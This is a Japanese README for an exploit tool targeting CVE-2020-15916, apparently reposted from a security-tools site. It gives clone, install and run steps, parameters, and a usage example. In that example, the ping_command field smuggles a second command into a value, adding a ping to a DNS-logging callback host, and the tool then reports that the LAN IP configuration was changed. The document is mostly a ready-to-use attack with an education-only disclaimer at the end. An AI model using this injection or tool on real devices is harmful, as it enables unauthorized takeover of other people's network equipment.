JA

GenLANConfigAttack は、デバイスのLAN設定への不正な変更を可能にする脆弱性 CVE-2020-15916 を悪用するためのPoCです。

機能

• LAN設定の脆弱性を悪用します
• ネットワーク設定を変更する悪意のあるペイロードを送信します
• LANを制御するためにセキュリティメカニズムをバイパスします

使用方法

1. このリポジトリをクローンします:
   root@kitploit:~

   git clone https://github.com/geniuszly/CVE-2020-15916
   

2. 依存関係をインストールします:
   root@kitploit:~

   pip install -r requirements.txt
   

3. エクスプロイトを実行します:
   root@kitploit:~

   python GenLANConfigAttack.py
   

パラメータ

• target_ip: ターゲットデバイスのIPアドレス。
• ping_command: ターゲットデバイス上で実行するコマンド。
• session_password: セッションアクセス用のパスワード。

使用例

python GenLANConfigAttack.py --target_ip 192.168.0.1 --session_password gew43t4gtewe4u5u576i7yhggerr6ijtr --ping_command '192.168.0.1 &;ping xt68nd.dnslog.cn'

[Response from 192.168.0.1]: 
{"success":true,"message":"LAN IP configuration updated successfully"}

CVEリファレンス

このPoCはCVE-2020-15916の脆弱性を対象としています。この脆弱性により、攻撃者は認証メカニズムの弱点を悪用して、脆弱なデバイスのLAN設定を変更できます。

免責事項

このツールは教育目的のみで提供されています。責任を持って使用し、明示的な許可がある環境でのみ使用してください。